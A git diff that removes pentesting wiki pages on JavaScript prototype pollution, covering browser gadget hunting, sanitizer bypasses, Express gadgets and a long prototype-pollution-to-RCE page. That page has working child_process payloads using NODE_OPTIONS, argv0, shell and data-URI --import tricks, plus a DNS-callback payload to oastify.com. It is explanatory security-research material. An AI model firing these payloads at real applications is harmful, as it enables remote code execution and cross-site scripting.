-For Burp users, **DOM Invader** is currently the most practical option for browser-side work because it can test query/hash/JSON web-message sources and then **scan automatically for gadgets**.
-
-{{#ref}}
-../../xss-cross-site-scripting/dom-invader.md
-{{#endref}}
-
-### Debugging where a property is used <a href="#id-5530" id="id-5530"></a>
-
-```javascript
-// Stop debugger where 'potentialGadget' property is accessed
-Object.defineProperty(Object.prototype, "potentialGadget", {
-  __proto__: null,
-  get() {
-    console.trace()
-    return "test"
-  },
-})
-```
-
-### Finding the root cause of Prototype Pollution <a href="#id-5530" id="id-5530"></a>
-
-Once a prototype pollution vulnerability has been identified by any of the tools, and if the code is not overly complex, you might find the vulnerability by searching for keywords such as `location.hash`, `decodeURIComponent`, `location.search`, `postMessage`, or form-to-object helpers in the Chrome Developer Tools. This approach allows you to pinpoint the vulnerable section of the JavaScript code.
-
-For larger and more complex codebases, a straightforward method to discover the vulnerable code involves the following steps:
-
-1. Use a tool to identify a vulnerability and obtain a payload designed to set a property in the constructor. An example provided by ppmap might look like: `constructor[prototype][ppmap]=reserved`.
-2. Set a breakpoint at the first line of JavaScript code that will execute on the page. Refresh the page with the payload, pausing the execution at this breakpoint.
-3. While the JavaScript execution is paused, execute the following script in the JS console. This script will signal when the 'ppmap' property is created, aiding in locating its origin:
-
-```javascript
-function debugAccess(obj, prop, debugGet = true) {
-  var origValue = obj[prop]
-
-  Object.defineProperty(obj, prop, {
-    get: function () {
-      if (debugGet) debugger
-      return origValue
-    },
-    set: function (val) {
-      debugger
-      origValue = val
-    },
-  })
-}
-
-debugAccess(Object.prototype, "ppmap")
-```
-
-4. Navigate back to the **Sources** tab and select “Resume script execution”. The JavaScript will continue executing, and the 'ppmap' property will be polluted as expected. Utilizing the provided snippet facilitates the identification of the exact location where the 'ppmap' property is polluted. By examining the **Call Stack**, different stacks where the pollution occurred can be observed.
-
-When deciding which stack to investigate, it is often useful to target stacks associated with JavaScript library files, as prototype pollution frequently occurs within these libraries. Identify the relevant stack by examining its attachment to library files (visible on the right side, similar to an image provided for guidance). In scenarios with multiple stacks, such as those on lines 4 and 6, the logical choice is the stack on line 4, as it represents the initial occurrence of pollution and thereby the root cause of the vulnerability. Clicking on the stack will direct you to the vulnerable code.
-
-![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
-
-## Finding Script Gadgets
-
-The gadget is the **code that will be abused once a PP vulnerability is discovered**.
-
-If the application is simple, we can **search** for **keywords** like **`srcdoc/innerHTML/iframe/createElement`** and review the source code and check if it l**eads to javascript execution**. Sometimes, mentioned techniques might not find gadgets at all. In that case, pure source code review reveals some nice gadgets like the below example.
-
-### Example Finding PP gadget in Mithril library code
-
-Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
-
-### Browser/API gadgets that are easy to miss
-
-Recent PortSwigger research showed that **not every gadget lives in application code**. Browser APIs and common libraries often accept **plain objects** as options/descriptors, so polluted properties are inherited automatically if the application does not define them explicitly.
-
-A few patterns worth checking first:
-
-- **`fetch(url, options)`**: if the page only sets `method` and leaves `body`, `headers`, `mode`, `credentials`, etc. undefined, polluted properties can be consumed by the request.
-- **`Object.defineProperty(obj, key, descriptor)`**: if the descriptor omits `value`, `get`, `set`, or `configurable`, a polluted `Object.prototype` can alter the descriptor itself.
-- **Direct property access on storage-like objects**: `localStorage.foo` is affected by the prototype chain, while `localStorage.getItem("foo")` is not.
-- **Third-party analytics / tag-manager code**: Google Analytics, Google Tag Manager, Adobe DTM, and similar bundles have historically exposed gadget properties that end in `setTimeout`, `eval`, `innerHTML`, or `script.src` sinks.
-
-Example `fetch()` gadget pattern:
-
-```javascript
-Object.prototype.body = "name=<img src=x onerror=alert(1)>"
-
-fetch("/endpoint", { method: "POST" })
-```
-
-Example `Object.defineProperty()` descriptor abuse:
-
-```javascript
-Object.prototype.value = '<img src=x onerror=alert(1)>'
-
-const victim = {}
-Object.defineProperty(victim, "html", {
-  configurable: false,
-  writable: false,
-})
-```
-
-When manually hunting gadgets, prioritize code that:
-
-- creates **empty objects/arrays** and then reads `obj[key]` / `arr[index]`
-- passes **option objects** into browser APIs
-- converts **forms**, **query strings**, or **web messages** into JSON and then merges them into state
-- checks only truthiness or type (for example `if (obj.html)` or `typeof arr[0] === "string"`) without verifying that the property is an **own property**
-
-### Recent gadget hunting patterns from real targets
-
-Recent client-side writeups and the latest gadget collections keep showing the same offensive pattern: first get a pollution source in a parser or form serializer, then pivot into a library method that accepts an **object argument** and iterates over attacker-controlled keys.
-
-In practice, methods such as `jQuery.attr({...})`, `$.get(...)`, `$.getScript(...)`, event helpers, analytics/tag-manager configuration objects, and sanitizer allow-lists remain good places to look. If a page includes a large third-party bundle, compare the loaded version against the payload corpus in BlackFan's repository before spending too much time reversing minified code.
-
-## Recompilation of payloads for vulnerable libraries
-
-- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
-- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
-
-## HTML Sanitizers bypass via PP
-
-Useful sanitizer bypass payloads were collected by Michał Bentkowski and are also preserved in BlackFan's gadget corpus. These are especially useful when the target already sanitizes attacker-controlled HTML but the sanitizer configuration or allow-list object is reachable through prototype pollution.
-
-- **sanitize-html**
-
-<figure><img src="../../../images/image (1140).png" alt="sanitize-html prototype pollution bypass"><figcaption></figcaption></figure>
-
-- **dompurify**
-
-<figure><img src="../../../images/image (1141).png" alt="DOMPurify prototype pollution bypass"><figcaption></figcaption></figure>
-
-- **Closure**
-
-```html
-<script>
-  Object.prototype["* ONERROR"] = 1
-  Object.prototype["* SRC"] = 1
-</script>
-<script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script>
-<script>
-  goog.require("goog.html.sanitizer.HtmlSanitizer")
-  goog.require("goog.dom")
-</script>
-<body>
-  <script>
-    const html = '<img src onerror=alert(1)>'
-    const sanitizer = new goog.html.sanitizer.HtmlSanitizer()
-    const sanitized = sanitizer.sanitize(html)
-    const node = goog.dom.safeHtmlToNode(sanitized)
-
-    document.body.append(node)
-  </script>
-</body>
-```
-
-## Recent Research (2024-2025)
-
-The 2025 paper **Follow My Flow** introduced **GaLA**, a dynamic framework to find **client-side prototype pollution gadgets** at scale. The interesting takeaway for pentesters is that the impact of client-side PP is **not limited to DOM XSS**:
-
-- the authors found **133 zero-day gadgets** across one million websites
-- they turned **23 websites previously considered “no-impact”** into real end-to-end exploits
-- reported consequences included **XSS**, **cookie manipulation**, and **URL manipulation**
-
-One of the real-world examples was a **Meta `fbevents.js` gadget** where an attacker-controlled inherited array element reached `document.cookie`. Another was a **Vue gadget** that ended up being assigned **CVE-2024-6783**.
-
-For bug hunting this is a good reminder: if you already have a pollution source, do not stop after looking for `innerHTML` and `script.src`. Also inspect code that:
-
-- writes into `document.cookie`
-- builds redirect/URL values
-- passes inherited values into `setTimeout`, `eval`, or dynamic script loaders
-- consumes array indexes like `arr[0]` from arrays that were created empty and only partially initialized
-
-## References
-
-- [https://portswigger.net/research/widespread-prototype-pollution-gadgets](https://portswigger.net/research/widespread-prototype-pollution-gadgets)
-- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
-- [https://yinzhicao.org/ProbetheProto/FollowMyFlow.pdf](https://yinzhicao.org/ProbetheProto/FollowMyFlow.pdf)
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
deleted file mode 100644
index bd1afc636e6..00000000000
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# Express Prototype Pollution Gadgets
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Serve XSS responses
-
-**For further details** [**take a look to the original reserach**](https://portswigger.net/research/server-side-prototype-pollution)
-
-### Change JSON content-type to HTML
-
-In an Express app using a **JSON content type response** and reflecting a JSON:
-
-```javascript
-app.use(bodyParser.json({ type: "application/json" }))
-app.post("/", function (req, res) {
-  _.merge({}, req.body)
-  res.send(req.body)
-})
-```
-
-In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can **confuse Express to serve up an HTML response.** This vulnerability relies on the application using **`res.send(obj)`** and using the body parser with the application/json content type.
-
-```json
-{ "__proto__": { "_body": true, "body": "<script>evil()" } }
-```
-
-By **polluting** **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
-
-### Render UTF7
-
-It's possible to make express **render UTF-7 content with**:
-
-```json
-{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
-```
-
-## Safe Scanning Techinques
-
-### JSON spaces
-
-The following PP will make attributes inside a JSON to have an extra space which won't break the functionality:
-
-```json
-{ "__proto__": { "json spaces": " " } }
-```
-
-Then a reflected JSON will looks like:
-
-```json
-{"foo":  "bar"} -- Note the extra space
-```
-
-### Exposed Headers
-
-The following PP gadget will make the server send back the HTTP header: **`Access-Control-Expose_headers: foo`**
-
-```json
-{ "__proto__": { "exposedHeaders": ["foo"] } }
-```
-
-It requires the **CORS module to be installed**
-
-### **OPTIONS Method**
-
-With the following payload, it's possible to **hide a method from an OPTIONS response**:
-
-```javascript
-// Original reponse: POST,GET,HEAD
-
-// Payload:
-{"__proto__":{"head":true}}
-
-//New response: POST;GET
-```
-
-### **Status**
-
-It's possible to change the **returned status code** using the following PP payload:
-
-```json
-{ "__proto__": { "status": 510 } }
-```
-
-### Error
-
-When you assign to a prototype with a primitive such as a string, it produces a **no-op operation since the prototype has to be an object**. If you attempt to assign a prototype object to the `Object.prototype` itself, this will **throw an exception**. We can use these two behaviours to **detect if prototype pollution was successful**:
-
-```javascript
-;({}).__proto__.__proto__ = {}(
-  //throws type exception
-  {}
-).__proto__.__proto__ = "x" //no-op does not throw exception
-```
-
-### Reflected Value
-
-When an application includes an object in its response, creating an attribute with an **unusual name alongside `__proto__`** can be insightful. Specifically, if **only the unusual attribute is returned** in the response, this could indicate the application's vulnerability:
-
-```json
-{ "unusualName": "value", "__proto__": "test" }
-```
-
-Moreover, in scenarios where a library like Lodash is employed, setting a property both via prototype pollution (PP) and directly inside the object offers another diagnostic approach. If such a property is omitted from the response, it suggests that Lodash is verifying the existence of the property in the target object before merging:
-
-```javascript
-{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
-// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
-```
-
-## Misc
-
-### Allow Dots
-
-There is an option in Express that allows you to **create objects from query string parameters**.\
-You could definitely use it in a bug **chain** to exploit a **prototype pollution vulnerability**.
-
-```json
-{ "__proto__": { "allowDots": true } }
-```
-
-**`?foo.bar=baz` create an object in Node.**
-
-## References
-
-- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
deleted file mode 100644
index 50f30e6f5af..00000000000
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
+++ /dev/null
@@ -1,786 +0,0 @@
-# Prototype Pollution to RCE
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Vulnerable Code
-
-Imagine a real JS using some code like the following one:
-
-```javascript
-const { execSync, fork } = require("child_process")
-
-function isObject(obj) {
-  console.log(typeof obj)
-  return typeof obj === "function" || typeof obj === "object"
-}
-
-// Function vulnerable to prototype pollution
-function merge(target, source) {
-  for (let key in source) {
-    if (isObject(target[key]) && isObject(source[key])) {
-      merge(target[key], source[key])
-    } else {
-      target[key] = source[key]
-    }
-  }
-  return target
-}
-
-function clone(target) {
-  return merge({}, target)
-}
-
-// Run prototype pollution with user input
-// Check in the next sections what payload put here to execute arbitrary code
-clone(USERINPUT)
-
-// Spawn process, this will call the gadget that poputales env variables
-// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
-var proc = fork("a_file.js")
-```
-
-## PP2RCE via env vars
-
-**PP2RCE** means **Prototype Pollution to RCE** (Remote Code Execution).
-
-According to this [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) when a **process is spawned** with some method from **`child_process`** (like `fork` or `spawn` or others) it calls the method `normalizeSpawnArguments` which a **prototype pollution gadget to create new env vars**:
-
-```javascript
-//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
-
-var env = options.env || process.env;
-var envPairs = [];
-[...]
-let envKeys = [];
-// Prototype values are intentionally included.
-for (const key in env) {
-  ArrayPrototypePush(envKeys, key);
-}
-[...]
-for (const key of envKeys) {
-  const value = env[key];
-  if (value !== undefined) {
-    ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
-  }
-}
-```
-
-Check that code you can see it's possible en **poison `envPairs`** just by **polluting** the **attribute `.env`.**
-
-### **Poisoning `__proto__`**
-
-> [!WARNING]
-> Note that due to how the **`normalizeSpawnArguments`** function from the **`child_process`** library of node works, when something is called in order to **set a new env variable** for the process you just need to **pollute anything**.\
-> For example, if you do `__proto__.avar="valuevar"` the process will be spawned with a var called `avar` with value `valuevar`.
->
-> However, in order for the **env variable to be the first one** you need to **pollute** the **`.env` attribute** and (only in some methods) that var will be the **first one** (allowing the attack).
->
-> That's why **`NODE_OPTIONS`** is **not inside `.env`** in the following attack.
-
-```javascript
-const { execSync, fork } = require("child_process")
-
-// Manual Pollution
-b = {}
-b.__proto__.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
-}
-b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
-
-// Trigger gadget
-var proc = fork("./a_file.js")
-// This should create the file /tmp/pp2rec
-
-// Abusing the vulnerable code
-USERINPUT = JSON.parse(
-  '{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
-)
-
-clone(USERINPUT)
-
-var proc = fork("a_file.js")
-// This should create the file /tmp/pp2rec
-```
-
-### Poisoning `constructor.prototype`
-
-```javascript
-const { execSync, fork } = require("child_process")
-
-// Manual Pollution
-b = {}
-b.constructor.prototype.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
-}
-b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
-
-proc = fork("a_file.js")
-// This should create the file /tmp/pp2rec2
-
-// Abusing the vulnerable code
-USERINPUT = JSON.parse(
-  '{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
-)
-
-clone(USERINPUT)
-
-var proc = fork("a_file.js")
-// This should create the file /tmp/pp2rec2
-```
-
-## PP2RCE via env vars + cmdline
-
-A similar payload to the previous one with some changes was proposed in [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** The main differences are:
-
-- Instead of storing the nodejs **payload** inside the file `/proc/self/environ`, it stores it i**nside argv0** of **`/proc/self/cmdline`**.
-- Then, instead of requiring via **`NODE_OPTIONS`** the file `/proc/self/environ`, it **requires `/proc/self/cmdline`**.
-
-```javascript
-const { execSync, fork } = require("child_process")
-
-// Manual Pollution
-b = {}
-b.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
-b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-
-// Trigger gadget
-var proc = fork("./a_file.js")
-// This should create the file /tmp/pp2rec2
-
-// Abusing the vulnerable code
-USERINPUT = JSON.parse(
-  '{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
-)
-
-clone(USERINPUT)
-
-var proc = fork("a_file.js")
-// This should create the file /tmp/pp2rec
-```
-
-## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
-
-> [!NOTE]
-> Since **Node.js 19** the CLI flag `--import` can be passed through `NODE_OPTIONS` in the same way `--require` can.  In contrast to `--require`, `--import` understands **data-URIs** so the attacker does **not need write access to the file-system** at all.  This makes the gadget far more reliable in locked-down or read-only environments.
->
-> This technique was first publicly documented by PortSwigger research in May 2023 and has since been reproduced in several CTF challenges.
-
-The attack is conceptually identical to the `--require /proc/self/*` tricks shown above, but instead of pointing to a file we embed the payload directly in a base64-encoded `data:` URL:
-
-```javascript
-const { fork } = require("child_process")
-
-// Manual pollution
-b = {}
-
-// Javascript that is executed once Node parses the import URL
-const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
-const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
-
-b.__proto__.NODE_OPTIONS = `--import ${payload}`;
-// any key that will force spawn (fork) – same as earlier examples
-fork("./a_file.js");
-```
-
-Abusing the vulnerable merge/clone sink shown at the top of the page:
-
-```javascript
-USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
-clone(USERINPUT);
-
-// Gadget trigger
-fork("./a_file.js");
-// → creates /tmp/pp2rce_import
-```
-
-### Why `--import` helps
-1. **No disk interaction** – the payload travels entirely inside the process command line and environment.
-2. **Works with ESM-only environments** – `--import` is the canonical way to preload JavaScript in modern Node releases that default to ECMAScript Modules.
-3. **Bypasses some `--require` allow-lists** – a few hardening libraries only filter `--require`, leaving `--import` untouched.
-
-> [!WARNING]
-> `--import` support in `NODE_OPTIONS` is still present in the latest **Node 22.2.0** (June 2025).  The Node core team is discussing restricting data-URIs in the future, but no mitigation is available at the time of writing.
-
----
-
-## DNS Interaction
-
-Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
-
-```json
-{
-  "__proto__": {
-    "argv0": "node",
-    "shell": "node",
-    "NODE_OPTIONS": "--inspect=id.oastify.com"
-  }
-}
-```
-
-Or, to avoid WAFs asking for the domain:
-
-```json
-{
-  "__proto__": {
-    "argv0": "node",
-    "shell": "node",
-    "NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
-  }
-}
-```
-
-## PP2RCE vuln child_process functions
-
-In this section where are going to analyse **each function from `child_process`** to execute code and see if we can use any technique to force that function to execute code:
-
-<details>
-
-<summary><code>exec</code> exploitation</summary>
-
-```javascript
-// environ trick - not working
-// It's not possible to pollute the .env attr to create a first env var
-// because options.env is null (not undefined)
-
-// cmdline trick - working with small variation
-// Working after kEmptyObject (fix)
-const { exec } = require("child_process")
-p = {}
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = exec("something")
-
-// stdin trick - not working
-// Not using stdin
-
-// Windows
-// Working after kEmptyObject (fix)
-const { exec } = require("child_process")
-p = {}
-p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-var proc = exec("something")
-```
-
-</details>
-
-<details>
-
-<summary><strong><code>execFile</code> exploitation</strong></summary>
-
-```javascript
-// environ trick - not working
-// It's not possible to pollute the .en attr to create a first env var
-
-// cmdline trick - working with a big requirement
-// Working after kEmptyObject (fix)
-const { execFile } = require("child_process")
-p = {}
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = execFile("/usr/bin/node")
-
-// stdin trick - not working
-// Not using stdin
-
-// Windows - not working
-```
-
-For **`execFile`** to work it **MUST execute node** for the NODE_OPTIONS to work.\
-If it's **not** executing **node**, you need to find how you could **alter the execution** of whatever it's executing **with environment variables** and set them.
-
-The **other** techniques **work** without this requirement because it's **possible to modify** **what is executed** via prototype pollution. (In this case, even if you can pollute `.shell`, you won't pollute that is being executed).
-
-</details>
-
-<details>
-
-<summary><code>fork</code> exploitation</summary>
-
-```javascript
-// environ trick - working
-// Working after kEmptyObject (fix)
-const { fork } = require("child_process")
-b = {}
-b.__proto__.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
-}
-b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
-var proc = fork("something")
-
-// cmdline trick - working
-// Working after kEmptyObject (fix)
-const { fork } = require("child_process")
-p = {}
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = fork("something")
-
-// stdin trick - not working
-// Not using stdin
-
-// execArgv trick - working
-// Only the fork method has this attribute
-// Working after kEmptyObject (fix)
-const { fork } = require("child_process")
-b = {}
-b.__proto__.execPath = "/bin/sh"
-b.__proto__.argv0 = "/bin/sh"
-b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
-var proc = fork("./a_file.js")
-
-// Windows
-// Working after kEmptyObject (fix)
-const { fork } = require("child_process")
-b = {}
-b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-var proc = fork("./a_file.js")
-```
-
-</details>
-
-<details>
-
-<summary><strong><code>spawn</code> exploitation</strong></summary>
-
-```javascript
-// environ trick - working with small variation (shell and argv0)
-// NOT working after kEmptyObject (fix) without options
-const { spawn } = require("child_process")
-p = {}
-// If in windows or mac you need to change the following params to the path of ndoe
-p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
-}
-p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
-var proc = spawn("something")
-//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
-
-// cmdline trick - working with small variation (shell)
-// NOT working after kEmptyObject (fix) without options
-const { spawn } = require("child_process")
-p = {}
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = spawn("something")
-//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
-
-// stdin trick - not working
-// Not using stdin
-
-// Windows
-// NOT working after require(fix) without options
-const { spawn } = require("child_process")
-p = {}
-p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-var proc = spawn("something")
-//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
-```
-
-</details>
-
-<details>
-
-<summary><strong><code>execFileSync</code> exploitation</strong></summary>
-
-```javascript
-// environ trick - working with small variation (shell and argv0)
-// Working after kEmptyObject (fix)
-const { execFileSync } = require("child_process")
-p = {}
-// If in windows or mac you need to change the following params to the path of ndoe
-p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
-}
-p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
-var proc = execFileSync("something")
-
-// cmdline trick - working with small variation (shell)
-// Working after kEmptyObject (fix)
-const { execFileSync } = require("child_process")
-p = {}
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = execFileSync("something")
-
-// stdin trick - working
-// Working after kEmptyObject (fix)
-const { execFileSync } = require("child_process")
-p = {}
-p.__proto__.argv0 = "/usr/bin/vim"
-p.__proto__.shell = "/usr/bin/vim"
-p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
-var proc = execFileSync("something")
-
-// Windows
-// Working after kEmptyObject (fix)
-const { execSync } = require("child_process")
-p = {}
-p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-var proc = execSync("something")
-```
-
-</details>
-
-<details>
-
-<summary><strong><code>execSync</code> exploitation</strong></summary>
-
-```javascript
-// environ trick - working with small variation (shell and argv0)
-// Working after kEmptyObject (fix)
-const { execSync } = require("child_process")
-p = {}
-// If in windows or mac you need to change the following params to the path of ndoe
-p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
-}
-p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
-var proc = execSync("something")
-
-// cmdline trick - working with small variation (shell)
-// Working after kEmptyObject (fix)
-const { execSync } = require("child_process")
-p = {}
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = execSync("something")
-
-// stdin trick - working
-// Working after kEmptyObject (fix)
-const { execSync } = require("child_process")
-p = {}
-p.__proto__.argv0 = "/usr/bin/vim"
-p.__proto__.shell = "/usr/bin/vim"
-p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
-var proc = execSync("something")
-
-// Windows
-// Working after kEmptyObject (fix)
-const { execSync } = require("child_process")
-p = {}
-p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-var proc = execSync("something")
-```
-
-</details>
-
-<details>
-
-<summary><strong><code>spawnSync</code> exploitation</strong></summary>
-
-```javascript
-// environ trick - working with small variation (shell and argv0)
-// NOT working after kEmptyObject (fix) without options
-const { spawnSync } = require("child_process")
-p = {}
-// If in windows or mac you need to change the following params to the path of node
-p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.env = {
-  EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
-}
-p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
-var proc = spawnSync("something")
-//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
-
-// cmdline trick - working with small variation (shell)
-// NOT working after kEmptyObject (fix) without options
-const { spawnSync } = require("child_process")
-p = {}
-p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
-p.__proto__.argv0 =
-  "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
-p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
-var proc = spawnSync("something")
-//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
-
-// stdin trick - working
-// NOT working after kEmptyObject (fix) without options
-const { spawnSync } = require("child_process")
-p = {}
-p.__proto__.argv0 = "/usr/bin/vim"
-p.__proto__.shell = "/usr/bin/vim"
-p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
-var proc = spawnSync("something")
-//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
-
-// Windows
-// NOT working after require(fix) without options
-const { spawnSync } = require("child_process")
-p = {}
-p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
-var proc = spawnSync("something")
-//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
-```
-
-</details>
-
-## Forcing Spawn
-
-In the previous examples you saw how to trigger the gadget a functionality that **calls `spawn`** needs to be **present** (all methods of **`child_process`** used to execute something calls it). In the previous example that was **part of the the code**, but what if the code **isn't** calling it.
-
-### Controlling a require file path
-
-In this [**other writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) the user can control the file path were a **`require`** will be executed. In that scenario the attacker just needs to **find a `.js` file inside the system** that will **execute a spawn method when imported.**\
-Some examples of common files calling a spawn function when imported are:
-
-- /path/to/npm/scripts/changelog.js
-- /opt/yarn-v1.22.19/preinstall.js
-- Find **more files below**
-
-The following simple script will search for **calls** from **child_process** **without any padding** (to avoid showing calls inside functions):
-
-```bash
-find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
-    grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
-done
-# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
-```
-
